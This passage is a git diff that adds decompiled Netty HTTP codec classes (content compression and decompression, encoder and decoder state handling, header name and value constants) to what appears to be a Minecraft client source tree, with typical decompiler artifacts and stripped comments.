+  public abstract HttpContent retain();
+  
+  public abstract HttpContent retain(int paramInt);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpContentCompressor.java b/src/minecraft/io/netty/handler/codec/http/HttpContentCompressor.java
new file mode 100644
index 0000000..21f95e2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpContentCompressor.java
@@ -0,0 +1,167 @@
+package io.netty.handler.codec.http;
+
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.embedded.EmbeddedChannel;
+import io.netty.handler.codec.compression.ZlibCodecFactory;
+import io.netty.handler.codec.compression.ZlibWrapper;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpContentCompressor
+  extends HttpContentEncoder
+{
+  private final int compressionLevel;
+  private final int windowBits;
+  private final int memLevel;
+  
+  public HttpContentCompressor()
+  {
+    this(6);
+  }
+  
+
+
+
+
+
+
+
+
+  public HttpContentCompressor(int compressionLevel)
+  {
+    this(compressionLevel, 15, 8);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpContentCompressor(int compressionLevel, int windowBits, int memLevel)
+  {
+    if ((compressionLevel < 0) || (compressionLevel > 9)) {
+      throw new IllegalArgumentException("compressionLevel: " + compressionLevel + " (expected: 0-9)");
+    }
+    
+
+    if ((windowBits < 9) || (windowBits > 15)) {
+      throw new IllegalArgumentException("windowBits: " + windowBits + " (expected: 9-15)");
+    }
+    
+    if ((memLevel < 1) || (memLevel > 9)) {
+      throw new IllegalArgumentException("memLevel: " + memLevel + " (expected: 1-9)");
+    }
+    
+    this.compressionLevel = compressionLevel;
+    this.windowBits = windowBits;
+    this.memLevel = memLevel;
+  }
+  
+  protected HttpContentEncoder.Result beginEncode(HttpResponse headers, String acceptEncoding) throws Exception
+  {
+    String contentEncoding = headers.headers().get("Content-Encoding");
+    if ((contentEncoding != null) && (!"identity".equalsIgnoreCase(contentEncoding)))
+    {
+      return null;
+    }
+    
+    ZlibWrapper wrapper = determineWrapper(acceptEncoding);
+    if (wrapper == null) {
+      return null;
+    }
+    
+    String targetContentEncoding;
+    switch (1.$SwitchMap$io$netty$handler$codec$compression$ZlibWrapper[wrapper.ordinal()]) {
+    case 1: 
+      targetContentEncoding = "gzip";
+      break;
+    case 2: 
+      targetContentEncoding = "deflate";
+      break;
+    default: 
+      throw new Error();
+    }
+    
+    return new HttpContentEncoder.Result(targetContentEncoding, new EmbeddedChannel(new ChannelHandler[] { ZlibCodecFactory.newZlibEncoder(wrapper, compressionLevel, windowBits, memLevel) }));
+  }
+  
+
+
+
+  protected ZlibWrapper determineWrapper(String acceptEncoding)
+  {
+    float starQ = -1.0F;
+    float gzipQ = -1.0F;
+    float deflateQ = -1.0F;
+    for (String encoding : StringUtil.split(acceptEncoding, ',')) {
+      float q = 1.0F;
+      int equalsPos = encoding.indexOf('=');
+      if (equalsPos != -1) {
+        try {
+          q = Float.valueOf(encoding.substring(equalsPos + 1)).floatValue();
+        }
+        catch (NumberFormatException e) {
+          q = 0.0F;
+        }
+      }
+      if (encoding.contains("*")) {
+        starQ = q;
+      } else if ((encoding.contains("gzip")) && (q > gzipQ)) {
+        gzipQ = q;
+      } else if ((encoding.contains("deflate")) && (q > deflateQ)) {
+        deflateQ = q;
+      }
+    }
+    if ((gzipQ > 0.0F) || (deflateQ > 0.0F)) {
+      if (gzipQ >= deflateQ) {
+        return ZlibWrapper.GZIP;
+      }
+      return ZlibWrapper.ZLIB;
+    }
+    
+    if (starQ > 0.0F) {
+      if (gzipQ == -1.0F) {
+        return ZlibWrapper.GZIP;
+      }
+      if (deflateQ == -1.0F) {
+        return ZlibWrapper.ZLIB;
+      }
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpContentDecoder.java b/src/minecraft/io/netty/handler/codec/http/HttpContentDecoder.java
new file mode 100644
index 0000000..f210981
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpContentDecoder.java
@@ -0,0 +1,249 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.embedded.EmbeddedChannel;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import io.netty.util.ReferenceCountUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class HttpContentDecoder
+  extends MessageToMessageDecoder<HttpObject>
+{
+  private EmbeddedChannel decoder;
+  private HttpMessage message;
+  private boolean decodeStarted;
+  private boolean continueResponse;
+  
+  public HttpContentDecoder() {}
+  
+  protected void decode(ChannelHandlerContext ctx, HttpObject msg, List<Object> out)
+    throws Exception
+  {
+    if (((msg instanceof HttpResponse)) && (((HttpResponse)msg).getStatus().code() == 100))
+    {
+      if (!(msg instanceof LastHttpContent)) {
+        continueResponse = true;
+      }
+      
+      out.add(ReferenceCountUtil.retain(msg));
+      return;
+    }
+    
+    if (continueResponse) {
+      if ((msg instanceof LastHttpContent)) {
+        continueResponse = false;
+      }
+      
+      out.add(ReferenceCountUtil.retain(msg));
+      return;
+    }
+    
+    if ((msg instanceof HttpMessage)) {
+      assert (this.message == null);
+      this.message = ((HttpMessage)msg);
+      decodeStarted = false;
+      cleanup();
+    }
+    
+    if ((msg instanceof HttpContent)) {
+      HttpContent c = (HttpContent)msg;
+      
+      if (!decodeStarted) {
+        decodeStarted = true;
+        HttpMessage message = this.message;
+        HttpHeaders headers = message.headers();
+        this.message = null;
+        
+
+        String contentEncoding = headers.get("Content-Encoding");
+        if (contentEncoding != null) {
+          contentEncoding = contentEncoding.trim();
+        } else {
+          contentEncoding = "identity";
+        }
+        
+        if ((this.decoder = newContentDecoder(contentEncoding)) != null)
+        {
+
+          String targetContentEncoding = getTargetContentEncoding(contentEncoding);
+          if ("identity".equals(targetContentEncoding))
+          {
+
+            headers.remove("Content-Encoding");
+          } else {
+            headers.set("Content-Encoding", targetContentEncoding);
+          }
+          
+          out.add(message);
+          decodeContent(c, out);
+          
+
+          if (headers.contains("Content-Length")) {
+            int contentLength = 0;
+            int size = out.size();
+            for (int i = 0; i < size; i++) {
+              Object o = out.get(i);
+              if ((o instanceof HttpContent)) {
+                contentLength += ((HttpContent)o).content().readableBytes();
+              }
+            }
+            headers.set("Content-Length", Integer.toString(contentLength));
+          }
+          
+
+          return;
+        }
+        
+        if ((c instanceof LastHttpContent)) {
+          decodeStarted = false;
+        }
+        out.add(message);
+        out.add(c.retain());
+        return;
+      }
+      
+      if (decoder != null) {
+        decodeContent(c, out);
+      } else {
+        if ((c instanceof LastHttpContent)) {
+          decodeStarted = false;
+        }
+        out.add(c.retain());
+      }
+    }
+  }
+  
+  private void decodeContent(HttpContent c, List<Object> out) {
+    ByteBuf content = c.content();
+    
+    decode(content, out);
+    
+    if ((c instanceof LastHttpContent)) {
+      finishDecode(out);
+      
+      LastHttpContent last = (LastHttpContent)c;
+      
+
+      HttpHeaders headers = last.trailingHeaders();
+      if (headers.isEmpty()) {
+        out.add(LastHttpContent.EMPTY_LAST_CONTENT);
+      } else {
+        out.add(new ComposedLastHttpContent(headers));
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  protected abstract EmbeddedChannel newContentDecoder(String paramString)
+    throws Exception;
+  
+
+
+
+
+
+
+
+  protected String getTargetContentEncoding(String contentEncoding)
+    throws Exception
+  {
+    return "identity";
+  }
+  
+  public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    cleanup();
+    super.handlerRemoved(ctx);
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    cleanup();
+    super.channelInactive(ctx);
+  }
+  
+  private void cleanup() {
+    if (decoder != null)
+    {
+      if (decoder.finish()) {
+        for (;;) {
+          ByteBuf buf = (ByteBuf)decoder.readOutbound();
+          if (buf == null) {
+            break;
+          }
+          
+          buf.release();
+        }
+      }
+      decoder = null;
+    }
+  }
+  
+  private void decode(ByteBuf in, List<Object> out)
+  {
+    decoder.writeInbound(new Object[] { in.retain() });
+    fetchDecoderOutput(out);
+  }
+  
+  private void finishDecode(List<Object> out) {
+    if (decoder.finish()) {
+      fetchDecoderOutput(out);
+    }
+    decodeStarted = false;
+    decoder = null;
+  }
+  
+  private void fetchDecoderOutput(List<Object> out) {
+    for (;;) {
+      ByteBuf buf = (ByteBuf)decoder.readInbound();
+      if (buf == null) {
+        break;
+      }
+      if (!buf.isReadable()) {
+        buf.release();
+      }
+      else {
+        out.add(new DefaultHttpContent(buf));
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpContentDecompressor.java b/src/minecraft/io/netty/handler/codec/http/HttpContentDecompressor.java
new file mode 100644
index 0000000..7955a33
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpContentDecompressor.java
@@ -0,0 +1,67 @@
+package io.netty.handler.codec.http;
+
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.embedded.EmbeddedChannel;
+import io.netty.handler.codec.compression.ZlibCodecFactory;
+import io.netty.handler.codec.compression.ZlibWrapper;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpContentDecompressor
+  extends HttpContentDecoder
+{
+  private final boolean strict;
+  
+  public HttpContentDecompressor()
+  {
+    this(false);
+  }
+  
+
+
+
+
+
+  public HttpContentDecompressor(boolean strict)
+  {
+    this.strict = strict;
+  }
+  
+  protected EmbeddedChannel newContentDecoder(String contentEncoding) throws Exception
+  {
+    if (("gzip".equalsIgnoreCase(contentEncoding)) || ("x-gzip".equalsIgnoreCase(contentEncoding))) {
+      return new EmbeddedChannel(new ChannelHandler[] { ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP) });
+    }
+    if (("deflate".equalsIgnoreCase(contentEncoding)) || ("x-deflate".equalsIgnoreCase(contentEncoding))) { ZlibWrapper wrapper;
+      ZlibWrapper wrapper;
+      if (strict) {
+        wrapper = ZlibWrapper.ZLIB;
+      } else {
+        wrapper = ZlibWrapper.ZLIB_OR_NONE;
+      }
+      
+      return new EmbeddedChannel(new ChannelHandler[] { ZlibCodecFactory.newZlibDecoder(wrapper) });
+    }
+    
+
+    return null;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpContentEncoder.java b/src/minecraft/io/netty/handler/codec/http/HttpContentEncoder.java
new file mode 100644
index 0000000..1d9b28a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpContentEncoder.java
@@ -0,0 +1,314 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.embedded.EmbeddedChannel;
+import io.netty.handler.codec.MessageToMessageCodec;
+import io.netty.util.ReferenceCountUtil;
+import java.util.ArrayDeque;
+import java.util.List;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class HttpContentEncoder
+  extends MessageToMessageCodec<HttpRequest, HttpObject>
+{
+  private final Queue<String> acceptEncodingQueue;
+  private String acceptEncoding;
+  private EmbeddedChannel encoder;
+  private State state;
+  
+  private static enum State
+  {
+    PASS_THROUGH, 
+    AWAIT_HEADERS, 
+    AWAIT_CONTENT;
+    
+    private State() {} }
+  public HttpContentEncoder() { acceptEncodingQueue = new ArrayDeque();
+    
+
+    state = State.AWAIT_HEADERS;
+  }
+  
+  public boolean acceptOutboundMessage(Object msg) throws Exception {
+    return ((msg instanceof HttpContent)) || ((msg instanceof HttpResponse));
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, HttpRequest msg, List<Object> out)
+    throws Exception
+  {
+    String acceptedEncoding = msg.headers().get("Accept-Encoding");
+    if (acceptedEncoding == null) {
+      acceptedEncoding = "identity";
+    }
+    acceptEncodingQueue.add(acceptedEncoding);
+    out.add(ReferenceCountUtil.retain(msg));
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, HttpObject msg, List<Object> out) throws Exception
+  {
+    boolean isFull = ((msg instanceof HttpResponse)) && ((msg instanceof LastHttpContent));
+    switch (1.$SwitchMap$io$netty$handler$codec$http$HttpContentEncoder$State[state.ordinal()]) {
+    case 1: 
+      ensureHeaders(msg);
+      assert (encoder == null);
+      
+      HttpResponse res = (HttpResponse)msg;
+      
+      if (res.getStatus().code() == 100) {
+        if (isFull) {
+          out.add(ReferenceCountUtil.retain(res));
+        } else {
+          out.add(res);
+          
+          state = State.PASS_THROUGH;
+        }
+        
+      }
+      else
+      {
+        acceptEncoding = ((String)acceptEncodingQueue.poll());
+        if (acceptEncoding == null) {
+          throw new IllegalStateException("cannot send more responses than requests");
+        }
+        
+        if (isFull)
+        {
+          if (!((ByteBufHolder)res).content().isReadable()) {
+            out.add(ReferenceCountUtil.retain(res));
+            return;
+          }
+        }
+        
+
+        Result result = beginEncode(res, acceptEncoding);
+        
+
+        if (result == null) {
+          if (isFull) {
+            out.add(ReferenceCountUtil.retain(res));
+          } else {
+            out.add(res);
+            
+            state = State.PASS_THROUGH;
+          }
+        }
+        else
+        {
+          encoder = result.contentEncoder();
+          
+
+
+          res.headers().set("Content-Encoding", result.targetContentEncoding());
+          
+
+          res.headers().remove("Content-Length");
+          res.headers().set("Transfer-Encoding", "chunked");
+          
+
+          if (isFull)
+          {
+            HttpResponse newRes = new DefaultHttpResponse(res.getProtocolVersion(), res.getStatus());
+            newRes.headers().set(res.headers());
+            out.add(newRes);
+          }
+          else {
+            out.add(res);
+            state = State.AWAIT_CONTENT;
+            if (!(msg instanceof HttpContent)) {
+              return;
+            }
+          }
+        }
+      }
+      
+      break;
+    case 2: 
+      ensureContent(msg);
+      if (encodeContent((HttpContent)msg, out)) {
+        state = State.AWAIT_HEADERS;
+      }
+      
+      break;
+    case 3: 
+      ensureContent(msg);
+      out.add(ReferenceCountUtil.retain(msg));
+      
+      if ((msg instanceof LastHttpContent)) {
+        state = State.AWAIT_HEADERS;
+      }
+      break;
+    }
+  }
+  
+  private static void ensureHeaders(HttpObject msg)
+  {
+    if (!(msg instanceof HttpResponse)) {
+      throw new IllegalStateException("unexpected message type: " + msg.getClass().getName() + " (expected: " + HttpResponse.class.getSimpleName() + ')');
+    }
+  }
+  
+
+  private static void ensureContent(HttpObject msg)
+  {
+    if (!(msg instanceof HttpContent)) {
+      throw new IllegalStateException("unexpected message type: " + msg.getClass().getName() + " (expected: " + HttpContent.class.getSimpleName() + ')');
+    }
+  }
+  
+
+  private boolean encodeContent(HttpContent c, List<Object> out)
+  {
+    ByteBuf content = c.content();
+    
+    encode(content, out);
+    
+    if ((c instanceof LastHttpContent)) {
+      finishEncode(out);
+      LastHttpContent last = (LastHttpContent)c;
+      
+
+
+      HttpHeaders headers = last.trailingHeaders();
+      if (headers.isEmpty()) {
+        out.add(LastHttpContent.EMPTY_LAST_CONTENT);
+      } else {
+        out.add(new ComposedLastHttpContent(headers));
+      }
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+  protected abstract Result beginEncode(HttpResponse paramHttpResponse, String paramString)
+    throws Exception;
+  
+
+
+
+
+
+
+  public void handlerRemoved(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    cleanup();
+    super.handlerRemoved(ctx);
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    cleanup();
+    super.channelInactive(ctx);
+  }
+  
+  private void cleanup() {
+    if (encoder != null)
+    {
+      if (encoder.finish()) {
+        for (;;) {
+          ByteBuf buf = (ByteBuf)encoder.readOutbound();
+          if (buf == null) {
+            break;
+          }
+          
+
+          buf.release();
+        }
+      }
+      encoder = null;
+    }
+  }
+  
+  private void encode(ByteBuf in, List<Object> out)
+  {
+    encoder.writeOutbound(new Object[] { in.retain() });
+    fetchEncoderOutput(out);
+  }
+  
+  private void finishEncode(List<Object> out) {
+    if (encoder.finish()) {
+      fetchEncoderOutput(out);
+    }
+    encoder = null;
+  }
+  
+  private void fetchEncoderOutput(List<Object> out) {
+    for (;;) {
+      ByteBuf buf = (ByteBuf)encoder.readOutbound();
+      if (buf == null) {
+        break;
+      }
+      if (!buf.isReadable()) {
+        buf.release();
+      }
+      else
+        out.add(new DefaultHttpContent(buf));
+    }
+  }
+  
+  public static final class Result {
+    private final String targetContentEncoding;
+    private final EmbeddedChannel contentEncoder;
+    
+    public Result(String targetContentEncoding, EmbeddedChannel contentEncoder) {
+      if (targetContentEncoding == null) {
+        throw new NullPointerException("targetContentEncoding");
+      }
+      if (contentEncoder == null) {
+        throw new NullPointerException("contentEncoder");
+      }
+      
+      this.targetContentEncoding = targetContentEncoding;
+      this.contentEncoder = contentEncoder;
+    }
+    
+    public String targetContentEncoding() {
+      return targetContentEncoding;
+    }
+    
+    public EmbeddedChannel contentEncoder() {
+      return contentEncoder;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpExpectationFailedEvent.java b/src/minecraft/io/netty/handler/codec/http/HttpExpectationFailedEvent.java
new file mode 100644
index 0000000..f0fc675
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpExpectationFailedEvent.java
@@ -0,0 +1,26 @@
+package io.netty.handler.codec.http;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HttpExpectationFailedEvent
+{
+  public static final HttpExpectationFailedEvent INSTANCE = new HttpExpectationFailedEvent();
+  
+  private HttpExpectationFailedEvent() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpHeaderDateFormat.java b/src/minecraft/io/netty/handler/codec/http/HttpHeaderDateFormat.java
new file mode 100644
index 0000000..5c947d4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpHeaderDateFormat.java
@@ -0,0 +1,101 @@
+package io.netty.handler.codec.http;
+
+import io.netty.util.concurrent.FastThreadLocal;
+import java.text.ParsePosition;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Locale;
+import java.util.TimeZone;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class HttpHeaderDateFormat
+  extends SimpleDateFormat
+{
+  private static final long serialVersionUID = -925286159755905325L;
+  private final SimpleDateFormat format1 = new HttpHeaderDateFormatObsolete1();
+  private final SimpleDateFormat format2 = new HttpHeaderDateFormatObsolete2();
+  
+  private static final FastThreadLocal<HttpHeaderDateFormat> dateFormatThreadLocal = new FastThreadLocal()
+  {
+    protected HttpHeaderDateFormat initialValue()
+    {
+      return new HttpHeaderDateFormat(null);
+    }
+  };
+  
+  static HttpHeaderDateFormat get() {
+    return (HttpHeaderDateFormat)dateFormatThreadLocal.get();
+  }
+  
+
+
+
+  private HttpHeaderDateFormat()
+  {
+    super("E, dd MMM yyyy HH:mm:ss z", Locale.ENGLISH);
+    setTimeZone(TimeZone.getTimeZone("GMT"));
+  }
+  
+  public Date parse(String text, ParsePosition pos)
+  {
+    Date date = super.parse(text, pos);
+    if (date == null) {
+      date = format1.parse(text, pos);
+    }
+    if (date == null) {
+      date = format2.parse(text, pos);
+    }
+    return date;
+  }
+  
+
+  private static final class HttpHeaderDateFormatObsolete1
+    extends SimpleDateFormat
+  {
+    private static final long serialVersionUID = -3178072504225114298L;
+    
+    HttpHeaderDateFormatObsolete1()
+    {
+      super(Locale.ENGLISH);
+      setTimeZone(TimeZone.getTimeZone("GMT"));
+    }
+  }
+  
+
+  private static final class HttpHeaderDateFormatObsolete2
+    extends SimpleDateFormat
+  {
+    private static final long serialVersionUID = 3010674519968303714L;
+    
+
+    HttpHeaderDateFormatObsolete2()
+    {
+      super(Locale.ENGLISH);
+      setTimeZone(TimeZone.getTimeZone("GMT"));
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpHeaderEntity.java b/src/minecraft/io/netty/handler/codec/http/HttpHeaderEntity.java
new file mode 100644
index 0000000..0847694
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpHeaderEntity.java
@@ -0,0 +1,78 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.CharsetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class HttpHeaderEntity
+  implements CharSequence
+{
+  private final String name;
+  private final int hash;
+  private final byte[] bytes;
+  private final int separatorLen;
+  
+  public HttpHeaderEntity(String name)
+  {
+    this(name, null);
+  }
+  
+  public HttpHeaderEntity(String name, byte[] separator) {
+    this.name = name;
+    hash = HttpHeaders.hash(name);
+    byte[] nameBytes = name.getBytes(CharsetUtil.US_ASCII);
+    if (separator == null) {
+      bytes = nameBytes;
+      separatorLen = 0;
+    } else {
+      separatorLen = separator.length;
+      bytes = new byte[nameBytes.length + separator.length];
+      System.arraycopy(nameBytes, 0, bytes, 0, nameBytes.length);
+      System.arraycopy(separator, 0, bytes, nameBytes.length, separator.length);
+    }
+  }
+  
+  int hash() {
+    return hash;
+  }
+  
+  public int length()
+  {
+    return bytes.length - separatorLen;
+  }
+  
+  public char charAt(int index)
+  {
+    if (bytes.length - separatorLen <= index) {
+      throw new IndexOutOfBoundsException();
+    }
+    return (char)bytes[index];
+  }
+  
+  public CharSequence subSequence(int start, int end)
+  {
+    return new HttpHeaderEntity(name.substring(start, end));
+  }
+  
+  public String toString()
+  {
+    return name;
+  }
+  
+  boolean encode(ByteBuf buf) {
+    buf.writeBytes(bytes);
+    return separatorLen > 0;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpHeaderNames.java b/src/minecraft/io/netty/handler/codec/http/HttpHeaderNames.java
new file mode 100644
index 0000000..7b7ff42
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpHeaderNames.java
@@ -0,0 +1,351 @@
+package io.netty.handler.codec.http;
+
+import io.netty.util.AsciiString;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HttpHeaderNames
+{
+  public static final AsciiString ACCEPT = new AsciiString("accept");
+  
+
+
+  public static final AsciiString ACCEPT_CHARSET = new AsciiString("accept-charset");
+  
+
+
+  public static final AsciiString ACCEPT_ENCODING = new AsciiString("accept-encoding");
+  
+
+
+  public static final AsciiString ACCEPT_LANGUAGE = new AsciiString("accept-language");
+  
+
+
+  public static final AsciiString ACCEPT_RANGES = new AsciiString("accept-ranges");
+  
+
+
+  public static final AsciiString ACCEPT_PATCH = new AsciiString("accept-patch");
+  
+
+
+  public static final AsciiString ACCESS_CONTROL_ALLOW_CREDENTIALS = new AsciiString("access-control-allow-credentials");
+  
+
+
+
+  public static final AsciiString ACCESS_CONTROL_ALLOW_HEADERS = new AsciiString("access-control-allow-headers");
+  
+
+
+
+  public static final AsciiString ACCESS_CONTROL_ALLOW_METHODS = new AsciiString("access-control-allow-methods");
+  
+
+
+
+  public static final AsciiString ACCESS_CONTROL_ALLOW_ORIGIN = new AsciiString("access-control-allow-origin");
+  
+
+
+
+  public static final AsciiString ACCESS_CONTROL_EXPOSE_HEADERS = new AsciiString("access-control-expose-headers");
+  
+
+
+
+  public static final AsciiString ACCESS_CONTROL_MAX_AGE = new AsciiString("access-control-max-age");
+  
+
+
+  public static final AsciiString ACCESS_CONTROL_REQUEST_HEADERS = new AsciiString("access-control-request-headers");
+  
+
+
+
+  public static final AsciiString ACCESS_CONTROL_REQUEST_METHOD = new AsciiString("access-control-request-method");
+  
+
+
+
+  public static final AsciiString AGE = new AsciiString("age");
+  
+
+
+  public static final AsciiString ALLOW = new AsciiString("allow");
+  
+
+
+  public static final AsciiString AUTHORIZATION = new AsciiString("authorization");
+  
+
+
+  public static final AsciiString CACHE_CONTROL = new AsciiString("cache-control");
+  
+
+
+  public static final AsciiString CONNECTION = new AsciiString("connection");
+  
+
+
+  public static final AsciiString CONTENT_BASE = new AsciiString("content-base");
+  
+
+
+  public static final AsciiString CONTENT_ENCODING = new AsciiString("content-encoding");
+  
+
+
+  public static final AsciiString CONTENT_LANGUAGE = new AsciiString("content-language");
+  
+
+
+  public static final AsciiString CONTENT_LENGTH = new AsciiString("content-length");
+  
+
+
+  public static final AsciiString CONTENT_LOCATION = new AsciiString("content-location");
+  
+
+
+  public static final AsciiString CONTENT_TRANSFER_ENCODING = new AsciiString("content-transfer-encoding");
+  
+
+
+  public static final AsciiString CONTENT_DISPOSITION = new AsciiString("content-disposition");
+  
+
+
+  public static final AsciiString CONTENT_MD5 = new AsciiString("content-md5");
+  
+
+
+  public static final AsciiString CONTENT_RANGE = new AsciiString("content-range");
+  
+
+
+  public static final AsciiString CONTENT_TYPE = new AsciiString("content-type");
+  
+
+
+  public static final AsciiString COOKIE = new AsciiString("cookie");
+  
+
+
+  public static final AsciiString DATE = new AsciiString("date");
+  
+
+
+  public static final AsciiString ETAG = new AsciiString("etag");
+  
+
+
+  public static final AsciiString EXPECT = new AsciiString("expect");
+  
+
+
+  public static final AsciiString EXPIRES = new AsciiString("expires");
+  
+
+
+  public static final AsciiString FROM = new AsciiString("from");
+  
+
+
+  public static final AsciiString HOST = new AsciiString("host");
+  
+
+
+  public static final AsciiString IF_MATCH = new AsciiString("if-match");
+  
+
+
+  public static final AsciiString IF_MODIFIED_SINCE = new AsciiString("if-modified-since");
+  
+
+
+  public static final AsciiString IF_NONE_MATCH = new AsciiString("if-none-match");
+  
+
+
+  public static final AsciiString IF_RANGE = new AsciiString("if-range");
+  
+
+
+  public static final AsciiString IF_UNMODIFIED_SINCE = new AsciiString("if-unmodified-since");
+  
+
+
+
+
+  @Deprecated
+  public static final AsciiString KEEP_ALIVE = new AsciiString("keep-alive");
+  
+
+
+  public static final AsciiString LAST_MODIFIED = new AsciiString("last-modified");
+  
+
+
+  public static final AsciiString LOCATION = new AsciiString("location");
+  
+
+
+  public static final AsciiString MAX_FORWARDS = new AsciiString("max-forwards");
+  
+
+
+  public static final AsciiString ORIGIN = new AsciiString("origin");
+  
+
+
+  public static final AsciiString PRAGMA = new AsciiString("pragma");
+  
+
+
+  public static final AsciiString PROXY_AUTHENTICATE = new AsciiString("proxy-authenticate");
+  
+
+
+  public static final AsciiString PROXY_AUTHORIZATION = new AsciiString("proxy-authorization");
+  
+
+
+
+
+  @Deprecated
+  public static final AsciiString PROXY_CONNECTION = new AsciiString("proxy-connection");
+  
+
+
+  public static final AsciiString RANGE = new AsciiString("range");
+  
+
+
+  public static final AsciiString REFERER = new AsciiString("referer");
+  
+
+
+  public static final AsciiString RETRY_AFTER = new AsciiString("retry-after");
+  
+
+
+  public static final AsciiString SEC_WEBSOCKET_KEY1 = new AsciiString("sec-websocket-key1");
+  
+
+
+  public static final AsciiString SEC_WEBSOCKET_KEY2 = new AsciiString("sec-websocket-key2");
+  
+
+
+  public static final AsciiString SEC_WEBSOCKET_LOCATION = new AsciiString("sec-websocket-location");
+  
+
+
+  public static final AsciiString SEC_WEBSOCKET_ORIGIN = new AsciiString("sec-websocket-origin");
+  
+
+
+  public static final AsciiString SEC_WEBSOCKET_PROTOCOL = new AsciiString("sec-websocket-protocol");
+  
+
+
+  public static final AsciiString SEC_WEBSOCKET_VERSION = new AsciiString("sec-websocket-version");
+  
+
+
+  public static final AsciiString SEC_WEBSOCKET_KEY = new AsciiString("sec-websocket-key");
+  
+
+
+  public static final AsciiString SEC_WEBSOCKET_ACCEPT = new AsciiString("sec-websocket-accept");
+  
+
+
+  public static final AsciiString SEC_WEBSOCKET_EXTENSIONS = new AsciiString("sec-websocket-extensions");
+  
+
+
+  public static final AsciiString SERVER = new AsciiString("server");
+  
+
+
+  public static final AsciiString SET_COOKIE = new AsciiString("set-cookie");
+  
+
+
+  public static final AsciiString SET_COOKIE2 = new AsciiString("set-cookie2");
+  
+
+
+  public static final AsciiString TE = new AsciiString("te");
+  
+
+
+  public static final AsciiString TRAILER = new AsciiString("trailer");
+  
+
+
+  public static final AsciiString TRANSFER_ENCODING = new AsciiString("transfer-encoding");
+  
+
+
+  public static final AsciiString UPGRADE = new AsciiString("upgrade");
+  
+
+
+  public static final AsciiString USER_AGENT = new AsciiString("user-agent");
+  
+
+
+  public static final AsciiString VARY = new AsciiString("vary");
+  
+
+
+  public static final AsciiString VIA = new AsciiString("via");
+  
+
+
+  public static final AsciiString WARNING = new AsciiString("warning");
+  
+
+
+  public static final AsciiString WEBSOCKET_LOCATION = new AsciiString("websocket-location");
+  
+
+
+  public static final AsciiString WEBSOCKET_ORIGIN = new AsciiString("websocket-origin");
+  
+
+
+  public static final AsciiString WEBSOCKET_PROTOCOL = new AsciiString("websocket-protocol");
+  
+
+
+  public static final AsciiString WWW_AUTHENTICATE = new AsciiString("www-authenticate");
+  
+  private HttpHeaderNames() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/HttpHeaderValues.java b/src/minecraft/io/netty/handler/codec/http/HttpHeaderValues.java
new file mode 100644
index 0000000..e96ce08
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/HttpHeaderValues.java
@@ -0,0 +1,213 @@
+package io.netty.handler.codec.http;
+
+import io.netty.util.AsciiString;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HttpHeaderValues
+{
+  public static final AsciiString APPLICATION_JSON = new AsciiString("application/json");
+  
+
+
+  public static final AsciiString APPLICATION_X_WWW_FORM_URLENCODED = new AsciiString("application/x-www-form-urlencoded");
+  
+
+
+
+  public static final AsciiString APPLICATION_OCTET_STREAM = new AsciiString("application/octet-stream");
+  
+
+
+
+  public static final AsciiString ATTACHMENT = new AsciiString("attachment");
+  
+
+
